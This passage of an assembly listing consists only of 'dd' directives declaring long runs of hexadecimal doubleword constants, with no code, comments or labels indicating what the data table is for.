dd 0C4EEA3B7h, 83B6C216h, 0CB94494Fh, 858C5DAh, 0EE47C52Bh
dd 26D34EA2h, 63466BBFh, 0CC332CB2h, 7A70D433h, 0DFA9ED03h
dd 649F8Dh, 3ED720DBh, 23EA5AEAh, 8420881Fh, 0E6CF83A6h
dd 15036078h, 0BC71F6EFh, 93675437h, 0C2265ACEh, 5041929Dh
dd 7E1435Fh, 898AEEF1h, 58C920F9h, 9A52F146h, 5DDC8022h
dd 0D8B112B8h, 9DB9C1B2h, 597F6FBEh, 6378AF4Bh, 5A5BD65h
dd 5498D652h, 3410DADEh, 7820F7AFh, 5A58F395h, 85C2623Ch
dd 0F0E97851h, 8098BFEAh, 0E683312Dh, 0CCC506B7h, 0C040E037h
dd 20967544h, 14AA948Fh, 34C0DFBDh, 0C72715BDh, 8B4DEA34h
dd 867A8CAEh, 0FF3E5825h, 7E018A87h, 0B4EE31BDh, 0EF396DA6h
dd 0E6929792h, 0A3658200h, 5E42EBBEh, 59F4FBD9h, 8EB97B79h
dd 5645F82Fh, 2000C2A6h, 2CF648A5h, 59B3E725h, 0D8408E13h
dd 9867F0A7h, 15B3450h, 0F21BC524h, 36559C25h, 4A0D6328h
dd 0B5AD969Eh, 492504C2h, 0CC14C37Eh, 0F1D6C9Fh, 7D5D4623h
dd 273FE55h, 42D5048Ch, 1CEEA7EBh, 1A81ADAAh, 32C553Dh
dd 277DA0Ch, 9489E2E1h, 0C236B280h, 861B53E5h, 43B0C4CAh
dd 0FFACF32Eh, 53B93939h, 0FEBEDCF5h, 4D8D5B01h, 5D28B043h
dd 10D8DBCBh, 538D730Ah, 8CE1B45Eh, 0B24C86CFh, 639C14F5h
dd 0F7704FECh, 0EA84E9ABh, 82FAA5DEh, 1B976CB7h, 3ADF67ADh
dd 0CF85AB92h, 0E09664F5h, 0DBE34795h, 4228C467h, 6429674Eh
dd 0A53869D7h, 0FD8DCEFEh, 43DE2472h, 35CC3162h, 69EDF86Ch
dd 5EA2D347h, 942C4D2Ch, 5FA1481Ch, 0B563C322h, 0DFCB89E6h
dd 2340D20Eh, 5C028153h, 473C7154h, 8301AF82h, 6481FFBAh
dd 8D42C35h, 0F0DB5421h, 0D43D1B79h, 3D4F0223h, 13880936h
dd 5C78A31Bh, 0D8879E52h, 0FCBA1093h, 6E1368D5h, 23A3FDDEh
dd 3C6A8EF4h, 0D950EB63h, 0ACBFB7FFh, 145DCA1Eh, 28F5F6B7h
dd 37796C50h, 13F9466Dh, 0AAD64D7Ch, 8C98AA8h, 0CD686A79h
dd 0D2A6A001h, 6B2E5B7Ah, 21E4D92Eh, 9979BFE9h, 0F768590Ch
dd 47347721h, 7FCC4CC3h, 164E2825h, 0E0D40517h, 40D557F5h
dd 0DB64ED9Bh, 5A59F061h, 0B1F237CBh, 5FC205B5h, 1CDDC69Dh
dd 47A9F4F7h, 0EC895164h, 0C6BFB963h, 45C9D65Eh, 0B12A16D0h
dd 62C54925h, 0DD2477F8h, 0E22339EEh, 2BF0A3E0h, 8FFFB6Dh
dd 8BEE0907h, 3D6666E4h, 3717E2B8h, 0B8C6210Ch, 79366721h
dd 299FFF8Fh, 105F7C93h, 5E0830B5h, 0A71EDB17h, 0F404F1FCh
dd 7870AC59h, 0A04DF8CEh, 7C9BE713h, 47EE0F5Bh, 0F060C0Fh
dd 0D3021E67h, 93FDC057h, 87FE81E0h, 0C9EDCEC7h, 0D85B8E5h
dd 0AEC450B6h, 0B9DD6BFCh, 5B76F21Bh, 0BC5E7A0Ch, 4E079D63h
dd 1FFE80E9h, 6D7461E8h, 43C87A4Dh, 48BB944Fh, 0F72EEC8Ah
dd 0A38E3F49h, 4A7D8E6Dh, 0AF74E8FCh, 0CA4A62D2h, 167F186Bh
dd 0D3630211h, 0C4C702D5h, 2C765979h, 0AEC71DE6h, 76CB167Eh
dd 0CF6E3A15h, 838E5CD3h, 47F80A5Bh, 420F1D91h, 8AFCCD19h
dd 6AD53AA3h, 0EA953538h, 1DBC4E20h, 6C1818Eh, 0B492ABEh
dd 6525721Ch, 0CFF25689h, 9877E07Fh, 7401B766h, 0AEDF757Eh
dd 56FE5291h, 7D9C8502h, 8160A30Eh, 3B78D997h, 0F3CE8C4Eh
dd 48950633h, 0DE7818C1h, 37806265h, 0B0C13651h, 46080E64h
dd 98D9AF5Fh, 70E105B5h, 5B310483h, 0E5684ABCh, 7C5FEEB0h
dd 0B89845h, 1FFAE08Ch, 0BDEC7517h, 0E6AAF1F3h, 0C3E4B0FAh
dd 402428EAh, 26B5F871h, 0E46AA842h, 4AB2AD92h, 0F8B47A33h
dd 0BA911A6Bh, 26D46F05h, 8F719A98h, 56312D78h, 95691594h
dd 0D2E78F8h, 0CDEE599Dh, 4A7F892h, 4BA9CADEh, 5621E2A1h
dd 5C7B7D0Ch, 0CF63409h, 60F06F4Fh, 542B946Eh, 4F7A08BFh
dd 799AF39Fh, 3357E94Bh, 97BF0368h, 0F5426AB1h, 96ED2C92h
dd 42F4EA3Ah, 0CAFA47DAh, 3B0C8556h, 4646D87Fh, 0FFF8C611h
dd 0BFD11B9Fh, 37EAE85Ah, 752530A9h, 52358600h, 898C3583h
dd 7034B770h, 1E5C2EE8h, 4D09EFE3h, 0A41AFDB8h, 524ECDE9h
dd 0B142C253h, 0EFA7FF67h, 0C87D2C90h, 4E234664h, 69D97576h
dd 0A4021088h, 2CF396E8h, 39DCF824h, 3E680BE8h, 16CD6797h
dd 0E38AB4FDh, 0F9187EEh, 0D212A5BDh, 133BA547h, 950F5980h
dd 0E4BDB7FFh, 0D33C5E40h, 0CB2F2F5Eh, 2DD079CFh, 4D0BDE3Dh
dd 408891F4h, 4E7D7C5Ah, 74F55CBFh, 33A7220Ah, 19767B0Ch
dd 94CE03DCh, 49C2181Dh
dd 61FDEEC8h, 0F3167BB9h, 0BB3ACABCh, 8036A4D7h, 2E6D1754h
dd 3CD25F11h, 36348B6Ch, 0C31AB823h, 81AFE6DCh, 39F3C145h
dd 5DD87337h, 70B030FAh, 9A09F384h, 6DDA33B4h, 0B9669074h
dd 88776012h, 0D81F6016h, 89709EC9h, 4B771B5h, 907230FBh
dd 32B8AC0Dh, 547D2107h, 0E57CD6DEh, 0BA808DC3h, 0F59EB3F0h
dd 0A05ADC1Fh, 4FB5B71Fh, 0E78AE370h, 4863B0BBh, 43FCD36Eh
dd 86ABB24Fh, 6DE39F7Dh, 98B7D1CAh, 71D06ABCh, 6A688928h
dd 5C46DA70h, 0ACD2121Fh, 94BAE767h, 0CCC277F6h, 0DE286362h
dd 13914479h, 0F11D8A57h, 0C8838126h, 311A1D6Eh, 95456986h
dd 30A0F1F8h, 68981C34h, 8CBEDF6Ah, 5571F418h, 19DBC5C5h
dd 0DEF42A9Fh, 160887Eh, 57833B2Eh, 0E1C89108h, 48660587h
dd 80B9D4DBh, 0D92E58E2h, 0F7B68449h, 6FEA610Dh, 54A24CCCh
dd 0D443B2ECh, 9F999E7Dh, 0FE901F72h, 59EA8B7Dh, 0FF4B8D42h
dd 5F584F6Fh, 0B9927543h, 92A3D6E8h, 81EE5EE1h, 6532A505h
dd 0D332F9E7h, 5366F36Ch, 30C7E84Eh, 8113C6Ch, 0C328A7A8h
dd 46DD39Eh, 3491982Eh, 8D707051h, 0E390A17Ah, 0C1AB47B1h
dd 3ADC5FDAh, 529CCB78h, 18A0B5F3h, 260BB775h, 0C01B37Ah
dd 97DB735h, 0F8094D4h, 0DD860ECEh, 0B6FE6A8Ch, 0D85B4475h
dd 822C739Ch, 0A3412914h, 0A043778Bh, 2C5FF40Fh, 87B84732h
dd 0A7DBC036h, 0ADBF95BEh, 30C29FD7h, 5275D9A6h, 35F11DE0h
dd 0CFAB259Fh, 97FA9AD7h, 0BA200271h, 24131821h, 0D2317B50h
dd 6290AAF9h, 9EC804B2h, 0C6E5020Dh, 9524184h, 471AA7BFh
dd 8816757Fh, 64BB13E2h, 464B6BB7h, 0A22B00CFh, 856E4BDCh
dd 0A73E5851h, 5664F7Fh, 0D0C22908h, 0E1F3DE52h, 0F599310Eh
dd 47D7F752h, 15D5F89Bh, 6725F656h, 0ED19133Dh, 2D15D32h
dd 85F82C80h, 4BFC4F8Bh, 0FE117CBCh, 0C6876CF0h, 70BB086Eh
dd 5DC43157h, 0E1B0BEDBh, 0CB39C3DEh, 0A55738Ch, 36A02BADh
dd 0A96DAAF5h, 7E798C94h, 3DB5C330h, 3DB7FEDFh, 0AE9A257Eh
dd 53AE6310h, 0B29818ACh, 0E6B82635h, 0EE505A5Fh, 0C05295FCh
dd 0C3D72B66h, 89FC1266h, 0D852E0EDh, 0AE05DAEAh, 6CE82F09h
dd 45755480h, 3B168D6Dh, 61B440CDh, 0CAE90238h, 0D2F6D8F9h
dd 0E4AF5A87h, 0F9BE8FBFh, 5FF9A1BEh, 0E86A9E57h, 6F55A057h
dd 71A85FEEh, 1E3A603Dh, 0DB1E4DAFh, 9D8C2DECh, 0A24746D4h
dd 5C9BF440h, 82A9BDD0h, 0A2B454AAh, 3082FA29h, 0F5085607h
dd 6A61B0E0h, 8AA19122h, 3D8276D3h, 4D78B6E3h, 0D0941A20h
dd 160D9764h, 0B3ED5D76h, 9D15C108h, 0DE5A60D8h, 59B87475h
dd 0B203D583h, 73CF11BDh, 45972BAEh, 70F0584Ch, 4DB1290Fh
dd 607FDC55h, 1AE8B78Dh, 0E222C12Fh, 0D160D912h, 0B9141890h
dd 0F6A0E82Ah, 16932C56h, 3F3A3D8Ah, 0E613D513h, 0C5596700h
dd 0BC121E70h, 8FD586BAh, 0C98B9A73h, 0AB5AB14Fh, 5C42437Dh
dd 4B22F22Bh, 0B575E785h, 0D0BA882Eh, 6D15C619h, 481A8CEDh
dd 96C515FEh, 5F91C801h, 3CE4E5F2h, 0DBBFDF54h, 0DFB8B780h
dd 0D228B225h, 7608A2D8h, 616CA983h, 0C532B0A8h, 0F8427200h
dd 0E3FDE475h, 8C3AA703h, 505F6A60h, 76BC88B3h, 28BA376Dh
dd 1688E226h, 0EE0F4712h, 2044390h, 67AD1F90h, 56294F23h
dd 326E41B1h, 6152309Eh, 0AF942260h, 8B59F6C2h, 72EDD242h
dd 0FD413490h, 0F8692F4Fh, 9D2BD608h, 0F85882E5h, 0E54934F3h
dd 2C113FDCh, 0F4F23767h, 0E8B3205Ch, 9B062ABCh, 73DCA252h
dd 0ADC49D62h, 7B9063D8h, 0B772E29Eh, 0ADE4B6Bh, 768BEAAEh
dd 60DED53h, 54A595EBh, 36ED9F0Bh, 0AF303A3Ch, 745FE4EBh
dd 84074C6Bh, 0D5BD2AC6h, 0D3D51243h, 0B2E40AF6h, 3D1AB331h
dd 0CBFB4257h, 0EAEE6639h, 0B867E55Ah, 16DE46B8h, 0F1565C8Dh
dd 0CFE9A65Fh, 0CC04F251h, 9D833DCDh, 62A1EA42h, 502B6952h
dd 8B0E21F9h, 4E80ED65h, 0F2B6B444h, 0DE4EC13Dh, 3A98FB34h
dd 53DC72CEh, 653F065Fh, 88D95B21h, 45F10757h, 180A9659h
dd 285B5D84h, 3DEA629Ah, 0D34CEA5Eh, 5E4271C2h, 0CC660C32h
dd 4ED36E18h, 0A98909BFh, 1A94C72Fh, 70B575F1h, 574A9507h
dd 83040A38h, 19EE25F5h, 2EBCC340h, 0BFFDFF1Fh, 0D3D41B1Bh
dd 0B2D11943h, 0C37F7F6Ah, 386A4057h, 6A5A3C8Ch, 7F4A7F03h
dd 0D336313Ch, 3C00B051h, 0A2C17567h, 19C0F172h, 0AD4184BFh
dd 7D3A2060h, 8FC8EDCDh, 0C360E871h, 0E73831FCh, 86D8C5C3h
dd 5561640h, 74906BBEh, 0C37DDAC1h, 0D430A1BEh, 16A90E6Bh
dd 70D61EFh, 1D83A5B9h, 0C810B38Fh, 48F4ADE1h, 0B0837E5Dh
dd 915CC192h, 958217F2h, 0E3CB1C54h, 0F2AC0EC3h, 96E3D578h
dd 704E658h, 0B193C72Ah, 9CDF27B3h, 0DA5EBDE9h, 26A9F5BEh
dd 79D006ECh, 499009BEh, 2F32EA4Bh, 501C29ACh, 0E84ED29Dh
dd 12E81F23h, 2A593F52h, 0FDC23C17h, 0D0935DC2h, 0AD65940Dh
dd 9C9EA6A5h, 3DE5E2A2h, 8F1F1FA2h, 1E426159h, 9E8AEDBBh
dd 0BD879416h, 8C03663Bh, 0FC1FB43h, 5897D2B2h, 790B4ED2h
dd 27B41CB2h, 0EDE171A5h, 20AB48EEh, 30836C06h, 29679361h
dd 4F0417E6h, 43FB0583h, 0C0364D2Bh, 0ABC5CB3Fh, 6669F93Fh
dd 456752C5h, 3D91A74Dh, 6D27D553h, 0CAAC42AEh, 0EB97312Ch
dd 864A5192h, 5D60FF15h, 7BEF1509h, 851CF742h, 0A1942974h
dd 0E1144C0Ah, 5A23D66Fh, 0D87DEB2Ah, 694963AFh, 76B5CFA1h
dd 0A2977FA8h, 2967A74h, 1DB0B8A1h, 8C02C993h, 73A1187Eh
dd 0AFDB22BDh, 0C1FE29BDh, 524A18E5h, 178B7918h, 0DABF50DDh
dd 60682794h, 245E25ACh, 0EF7F4A1Ah, 676A8FE6h, 90A56C9Ah
dd 3D4936F2h, 0CB7191C2h, 2EC05B77h, 0C5F7CD3Eh, 745C217h
dd 6AE2ECCCh, 8DDCDAEDh, 337165CBh, 0BE372209h, 3CD7C235h
dd 9C309B32h, 81713669h, 8700DA96h, 3EDF6188h, 0C3568872h
dd 42DFD979h, 28D5106Eh, 5653B6BAh, 45C63589h, 7BB0AB00h
dd 0CF567ABCh, 0C1506B7Ch, 5567AC44h, 1505B287h, 1BDAA874h
dd 6A801F8Dh, 0CBFDE96Bh, 19A9DF30h, 7684D8E3h, 4C572DD8h
dd 0D4D2A6F6h, 2F2593DDh, 5C863754h, 92CA6C56h, 55D0D4BBh
dd 8BC6CF8Fh, 0BF9A7030h, 7E37D469h, 2D444D85h, 6E847ECFh
dd 75EA96CBh, 0CE3B891Dh, 272BEE60h, 0D175B1BAh, 3C61141h
dd 15DF252Ah, 582EAA2Dh, 9E0D4010h, 48F440A3h, 0ADCC22B4h
dd 0C7BACEAAh, 11C790F5h, 5F3E3DF5h, 6F0A47CAh, 0F5B089EFh
dd 3DD4A6ECh, 38B7D72Eh, 0D718A591h, 591BFAE8h, 93528E75h
dd 8E29512Ah, 0B74A792Fh, 737475ADh, 618DC3E5h, 0BCDEBE87h
dd 0F2FA1E0Eh, 957E7360h, 3D11EAC7h, 0C63C6161h, 8A8F4652h
dd 9921C7CAh, 36274D33h, 32881ADAh, 0D63FD412h, 3AA98F30h
dd 8F48D85Ah, 0BA69F4AAh, 0AA81CAA1h, 0A445CB5Ah, 13C52318h
dd 85C51358h, 5516A8E3h, 0B72EA8B3h, 5EC6F975h, 0E3CE330Ch
dd 0B74347B5h, 75ED985h, 8B52E3ADh, 1D94D81h, 97AB9503h
dd 0E1E52C9Bh, 9740DD97h, 7B9B1C99h, 9334998h, 0FB53231Ch
dd 6C9606D4h, 53CE5751h, 753A82CFh, 0ECC66A26h, 846E9A02h
dd 6BD11A96h, 8EA5BD46h, 0F17006E1h, 0F91AD23h, 35D7C1E4h
dd 70DFE3CBh, 7598B1F3h, 0E4426E9Ch, 0FD5C0503h, 4B73E870h
dd 0BDCAC193h, 0B57D6831h, 3AB5DF2Ch, 508F4B15h, 33EF0195h
dd 7593DE3Dh, 0C77F8E45h, 44C791A9h, 511C20C3h, 6C587D34h
dd 0EFABAFC6h, 6EF7AA7Bh, 0C179F506h, 44D9AF6Bh, 7C8F6F5Ch
dd 288C7C1Ch, 2DF944C2h
dd 0AA1DD97Ch, 0BDBB00BBh, 6DDA7C54h, 0B0AF36B4h, 3A9B8340h
dd 0E700F957h, 7E8A7D74h, 1F70C1EFh, 4AFC5497h, 0E71CB658h
dd 2D484F33h, 11BCB521h, 0C69B6E0h, 48C84CB7h, 356BD679h
dd 92DAEBF2h, 0E9A677A3h, 6E41B58Ah, 0B063FF75h, 0EB3AD3C1h
dd 0A6BED2DEh, 77498A52h, 6F6B4CD4h, 0ECB01590h, 625F11C9h
dd 0EA1900C1h, 12C9B776h, 0B1458355h, 0E6C43E41h, 0B775670Fh
dd 0B76443DCh, 1ADECFF4h, 6AB91879h, 0A99E9197h, 0E1E9945Ch
dd 0D461B70Ch, 79012875h, 80D5BEA7h, 0A06ADA53h, 0D3B27522h
dd 38A44263h, 4F458E30h, 2061A18Bh, 0E6DDAEF3h, 0A245397Bh
dd 0FA9ECBABh, 0CE263AD7h, 775E7694h, 46E44260h, 3CC84DD8h
dd 0E702BCE7h, 6548D3FDh, 7BF47717h, 7EADF248h, 0A3D24FEBh
dd 33AD0B2Fh, 54022A25h, 2A6E935Fh, 6A79C73Eh, 89993AD7h
dd 53CC5984h, 2D876D4h, 0E82D9EAAh, 463F51B9h, 7B25B272h
dd 160583ACh, 0DF04A81Dh, 0FB0D0201h, 0F0049457h, 577DB5C9h
dd 0A8E68EEFh, 0A3D1516Eh, 5E4C57A3h, 710F5A0Fh, 936FBE0h
dd 0C01EE667h, 0AE58305h, 0DAE5312Ch, 613DC59Fh, 21ED518Eh
dd 805CFDA1h, 0C316CCEFh, 0AEB56CF8h, 3D99973Fh, 0FBB78B77h
dd 37C11CA4h, 0D46BAE71h, 1B33788Eh, 1915B307h, 54B03DD2h
dd 60801A82h, 8686BDD5h, 0D02820D0h, 0DBDB326Eh, 1A711302h
dd 8E3918BEh, 0A6C1A466h, 3E584C5Dh, 76330741h, 0BE79CBFCh
dd 0F861DCCBh, 7768BCA4h, 6399FAA8h, 2477A34Ch, 0DADE63FAh
dd 0A0CAFDEDh, 4EED1ECh, 0A63F0C9Bh, 1D8C1309h, 8B0925E6h
dd 5CC57A2h, 0E16D08DCh, 0F24E6AC5h, 9AC37C68h, 0F22167B9h
dd 0C3122417h, 7CEF50C1h, 0A53DB557h, 32A07C26h, 0AD85F980h
dd 315A1F8Fh, 0A5BBDA80h, 5D90E04Fh, 0A38FA1BCh, 438EBF0Ch
dd 0B4C7AC6Ch, 0FF0143D1h, 0AACDD5A2h, 0F7D250B1h, 36DF243Eh
dd 99F48FD9h, 0B013B36Bh, 0B893ADADh, 0F66DE8C0h, 5318AE12h
dd 0FF5C52A0h, 9355D132h, 7EFFAA1Bh, 2F39676Dh, 9D01C460h
dd 65BF5185h, 67252BBh, 0A5AAAD53h, 0C0CEB3B9h, 88A18C36h
dd 77DBF873h, 0D63651B2h, 0CBB83896h, 0F0FF88BBh, 65515CF5h
dd 51990F38h, 41E5964Fh, 6F8A596Ch, 361F6DE4h, 0D091AA80h
dd 4C234663h, 4E4F02A4h, 63E3E07Dh, 74217B34h, 355352D8h
dd 9499139Eh, 7080E55Eh, 9B095C2Dh, 0DA8BA078h, 188E6780h
dd 24C2CB18h, 6F87278Bh, 529BBD07h, 64F2CD88h, 43AB8FB5h
dd 8F87FFF1h, 0FC0DEDA8h, 0CC1AC90Bh, 0FAA675Dh, 7971DEACh
dd 0DC414060h, 13AB2F9Dh, 7CF99214h, 769BE377h, 86EBE9EDh
dd 0FFD36E8Dh, 0A9F48DC1h, 4F4EABCFh, 5D334B64h, 7C34E971h
dd 8F1A95F2h, 0CB422938h, 0ECAF0B0Ch, 0F33A103Ch, 755BC798h
dd 549CFDEDh, 44ABABD4h, 1A81E8A7h, 417CBBFFh, 562E2332h
dd 25EEB045h, 8BF9CDD2h, 0EDFA7612h, 683E3Ah, 1238898Ch
dd 0D2C86D53h, 0DCEDE42Ch, 0E21F4423h, 7A1D8993h, 3ECE2CDCh
dd 3BB168DEh, 0AEE6FCE1h, 0CE1C6DECh, 0BE29869Fh, 0C8B53780h
dd 0F143E084h, 0C2659D39h, 0C3FC2ABBh, 2220848Ah, 4AAC6051h
dd 3A82A816h, 5C187F29h, 6D5DD6B7h, 9BDC0FF3h, 5B088DF7h
dd 2AFC1918h, 4EB38E03h, 84987E35h, 7728279Bh, 6B49DCCh
dd 1C3DE7B6h, 8D3CDB68h, 0AB401571h, 771BAC19h, 523C9C53h
dd 7FBEFC19h, 40168FB8h, 5A9032F7h, 0BBB47D45h, 0E12F39A0h
dd 10D6C8ECh, 9571FA19h, 0FFBCD341h, 5BCD76C9h, 5E14B1CDh
dd 9778E525h, 0DB7A97C1h, 0B4EB28AFh, 0B19C3761h, 0E5A74458h
dd 3B8A56ACh, 0E3C8D4BEh, 0FBC3EDFAh, 0EB6C7524h, 61CAE32Ah
dd 7F8E76DDh, 84F022E1h, 5D91E86Ch, 0E3BBC61Dh, 0F6E0D185h
dd 0D151691Fh, 3507A60Ah, 0E4CE8588h, 3AB540FEh, 0D9170FF2h
dd 3CD41BDFh, 74CAFF0Fh, 5C138998h, 8A18582Bh, 96AB97Ah
dd 5B6146F3h, 18C0EC5Bh, 88817B14h, 950923E2h, 4FB88BA8h
dd 0DE5FE5DCh, 0AC9FAC2Eh, 0EB69E4DBh, 0CEFA2E32h, 0EF9EED8Bh
dd 0B5480725h, 0DF9A8B71h, 8CB950D5h, 32D06EB2h, 3C9C6EE4h
dd 910EBA61h, 6994450h, 1AED11AFh, 0C3F6A8AEh, 0B3928D65h
dd 0FF1012B6h, 4CD4C4ECh, 96E73E75h, 7EF38DFEh, 6AC6234Bh
dd 0C72822BEh, 268BD83Dh, 6ACB4768h, 24093D43h, 0CEC45EC0h
dd 21369A17h, 65462C65h, 13BF51C6h, 3C1ACA78h, 82C5C1DFh
dd 96EE1F40h, 97C72B71h, 92878A46h, 9B062C6Fh, 8E8B8B9h
dd 1E73BF96h, 0D8DA91F4h, 0EBCD1050h, 0C8E16047h, 7A32F40Bh
dd 451C1183h, 7A53FC70h, 3198D12Dh, 60F33FFBh, 0AC220A99h
dd 1A383531h, 42590BCEh, 0E1FDE70Ch, 0FBDEE9ACh, 0ECF3A3Eh
dd 9FB8B905h, 6890661Ch, 0A1F02740h, 500C8B96h, 2F9731D0h
dd 18437FB7h, 0A83D4584h, 0ABE6439Ch, 0BB828195h, 8C1EA5A4h
dd 0E8640DADh, 92E8BC96h, 0AEE1B355h, 1B085F7Eh, 0A396E9EEh
dd 9C35E8BDh, 0A94245EEh, 0FE4CFC37h, 646EDF9Eh, 86005AF3h
dd 29A16CF9h, 0A8989CC0h, 0F6A116E0h, 83F54B66h, 0A278AFCDh
dd 0BDC65040h, 2A3D2F5Ah, 4DA7061Eh, 7F8ECAC3h, 0E751BE89h
dd 91162825h, 2BDA705h, 4981EA9Bh, 4D490381h, 0C02EFB61h
dd 69131165h, 116162C6h, 0C4BECAA0h, 0B5712958h, 66C82EDBh
dd 8C787A81h, 0E926236Ch, 63EEFE6Fh, 5609CA41h, 828AA079h
dd 53A9C9FDh, 57262076h, 297417Fh, 63CE9FEEh, 976D9DB3h
dd 421E61B3h, 487C02BCh, 65356A6Fh, 0A53701D1h, 77C4DAF4h
dd 9E5DD298h, 0BD4F330Fh, 42BB5D31h, 0F1797247h, 69A9F625h
dd 7686E7Eh, 431ECBC8h, 0BADFA334h, 0BA781BBBh, 0AE3D5270h
dd 14EDEBE1h, 966BC91h, 0B0FC00Dh, 0C2ECF23Ch, 4DB3629Eh
dd 65A3214Fh, 0DADD72B4h, 0E3703FF6h, 270BCCEAh, 0C4D84FA7h
dd 9AA91B0Ch, 0A71647DEh, 16A080C5h, 9A3E691Ah, 8073CCA0h
dd 0C607CF91h, 6C178EA2h, 25F6AC61h, 0B07D2360h, 212337C2h
dd 0EB1A773Fh, 0BD8C8E45h, 0BECF5452h, 0FF02B849h, 5058AD77h
dd 76BFCB16h, 83335B39h, 4DADBF0Fh, 503B50AEh, 6BF42870h
dd 5A496516h, 809DBD62h, 5547F4C3h, 0B7771650h, 0ADCBD686h
dd 8E517193h, 47DD24BFh, 0C1ABBF3Ch, 0B8320A7Fh, 0B35B2EE1h
dd 4B8139D3h, 7FF5CFC4h, 7E91C162h, 88CE864h, 1B02979Bh
dd 11D9545Bh, 99AD22BCh, 729D9E77h, 7F6D2B08h, 5EB3FF23h
dd 0B36A42CBh, 35F5339Ch, 0A752D623h, 0F314010Eh, 0B664661Ch
dd 0AAD2386Fh, 8E87EC8Fh, 4C236EDBh, 80D812D1h, 28D15961h
dd 47068041h, 64D220F9h, 0F7E4720Bh, 238F280Ah, 0D2E05C6Eh
dd 8A7D2665h, 4130B09Ch, 2447E88Dh, 70656C7Eh, 0C6A30572h
dd 8E7B0E7Eh, 0E0840DDBh, 0A1DC213Fh, 2DE2FB67h, 0EA82C4C1h
dd 677411E5h, 69FEE374h, 63C8FC53h, 0BC4B04E1h, 8A24CCDAh
dd 17324166h, 0AE1A863Dh, 5E8FAF66h, 590219EFh, 5BCAB032h
dd 7360A1C6h, 2CACCAEBh, 0BA2AE905h, 0BCAF3728h, 0D60C1699h
dd 8E32787Eh, 69D395B4h, 5E8C57CBh, 0F971CEB2h, 0F3230D6Bh
dd 2B06EF59h, 4F86668Ch, 2C7A01C5h, 0D91CF914h, 0CFD469F4h
dd 219C8A92h, 98725A54h, 494DADD4h, 0A0C5F95Dh, 0B25C360Eh
dd 5540A69Ah, 12C9B703h, 23F29C26h, 0BCA9ACAFh, 609156ACh
dd 5047B9F8h, 0AA5A1BE2h, 757DFE03h, 61E91467h, 4D55B2D1h
dd 4492E1BEh, 0C3040201h, 0B1CECC21h, 7C1D384Dh, 0ED3A348h
dd 0A6CFE5E0h, 0A197AA8Ah, 707FC8CEh, 2CB03B25h, 0F6B806F7h
dd 0DE761CDFh, 0B9D0AE2h
dd 0B4C2F3B5h, 1385CFE2h, 0A486EF73h, 197A6C21h, 0ACA3F421h
dd 1E45DD1h, 91909077h, 68A6DEF8h, 0CE7A7BDBh, 0BEAA1413h
dd 63A874B3h, 0DAA5EC32h, 7BBC7555h, 4FB92F98h, 20652645h
dd 4F41DF3Dh, 512D2637h, 48E7E3Eh, 0EFF4BCAh, 8397BE95h
dd 8FF1ACFAh, 887D8F1Eh, 923D3030h, 9C56150h, 0EED97BCh
dd 3AB94939h, 0BFCAF65h, 471704A6h, 110DF060h, 0D2B9C627h
dd 0A0C828B9h, 0D48B4F4Bh, 0E11A6876h, 677EB829h, 0FF459A11h
dd 0DEC80AEh, 0E2FEDB44h, 862E0D53h, 4B7E2B98h, 0C4347AB4h
dd 558A3ACDh, 0F6E3032Eh, 28F95489h, 59507088h, 7961282Ah
dd 0C70A0B2Ah, 5FBC52F7h, 6E8C7ECh, 9CE8CCB9h, 48371AE7h
dd 0B79F7C8Eh, 48A77FBBh, 823082FFh, 18E676FBh, 6C5FF6D7h
dd 7A509B5Bh, 0FB484343h, 9F7A7483h, 0A7E51266h, 863659B3h
dd 69C10625h, 0B6FFC0B3h, 6C8C4CD6h, 0A32ADE8Ah, 2381FD22h
dd 0C0D43B2h, 0D2AAC9BBh, 62B0DE0h, 759530B2h, 0ECA777A1h
dd 5C340FB8h, 0DA207E00h, 46981066h, 0B3FB6313h, 55BDE9F7h
dd 6911FE08h, 0B07F78CFh, 0EDC97114h, 8D4E561Ch, 0B341B26Eh
dd 0AD52A253h, 0B4F7A08Eh, 631DCB12h, 86012C66h, 3FE1BCC9h
dd 0C6E7DCE4h, 1618A227h, 750D15AEh, 0A31764A4h, 0FAE9B6AEh
dd 0B8D0189Dh, 1E6779A5h, 7F397FEFh, 0C035A96Dh, 1A2AB25Ah
dd 52AE981Eh, 486DAD7Eh, 4B5B93F2h, 8E63B573h, 0B1D07883h
dd 0C3F20CAAh, 7131B2D2h, 0F05E1D03h, 0A87A3EC9h, 605DDB8Fh
dd 470946E5h, 0E4568F59h, 63AFD3E3h, 0ABCEE1C9h, 1F43D262h
dd 543BA80Bh, 0DE87D8AFh, 0F8AF372Ch, 24D552FDh, 0C26B2674h
dd 712E6305h, 1AC5630Bh, 5BCA0A65h, 0C0511848h, 863C7AB5h
dd 12A67F0Eh, 0BFCA2496h, 0A78CBB57h, 0F1B89A64h, 32145CA1h
dd 1417C304h, 326D021Ch, 0A2D2C168h, 9FE5F050h, 158FAA1h
dd 93A430F1h, 999F7791h, 9817B0D7h, 417096Dh, 7C39CC4Ch
dd 6CA47C40h, 8C73A7CFh, 50463D39h, 3F736C0Eh, 0ED181247h
dd 929000Fh, 5BD1E24Bh, 862B8DA0h, 1D514750h, 9A445EBEh
dd 60C24F95h, 0E921C18Fh, 3244E0D3h, 0C214BAE2h, 737A36Eh
dd 66A40556h, 8DFC47DEh, 840F1D48h, 6EF0E262h, 10D13729h
dd 9B66AF77h, 1A75D659h, 0DFBAB18Eh, 1EE627A4h, 0F828598Bh
dd 3F9563ABh, 39E31385h, 0C16B6A61h, 62DD80Bh, 0C8D1EFBAh
dd 5C5F502Ch, 1B39366Ah, 0AB3F2159h, 0C5D68C9Dh, 0D2ACF0B5h
dd 78BD4CDh, 1055AE17h, 9614D636h, 8C5C4C37h, 1B39EA8Ah
dd 0E4E0836Eh, 9EB0B9A8h, 1CAAD034h, 0DBCE840Fh, 55164EA9h
dd 2E66427Fh, 0F685A73Dh, 0C3B5362Bh, 0CABC7AA4h, 1ECD37ACh
dd 6AFB1BBBh, 0D7FA37CBh, 40E972F7h, 46A481Ah, 85F76655h
dd 0AF596273h, 0C56B468Bh, 9C09ED68h, 1E23FDE4h, 0AC5366FDh
dd 97AEE9D7h, 4A44949Fh, 0DFB1ED9Ch, 688C496Fh, 0E0ACB243h
dd 0CCB17DADh, 64760686h, 0D6182AAAh, 0BADA57F1h, 8D6FE058h
dd 27E9DEBFh, 0E999DB41h, 0FDF2AEF5h, 2CB00CFCh, 54599CC3h
dd 55488EE6h, 0DA112667h, 9FB8BEDCh, 0B1B7580Ah, 4E9C8A9Ah
dd 13E8E550h, 9DA09303h, 83640Fh, 0EAF8EB9Ah, 9DA8837Bh
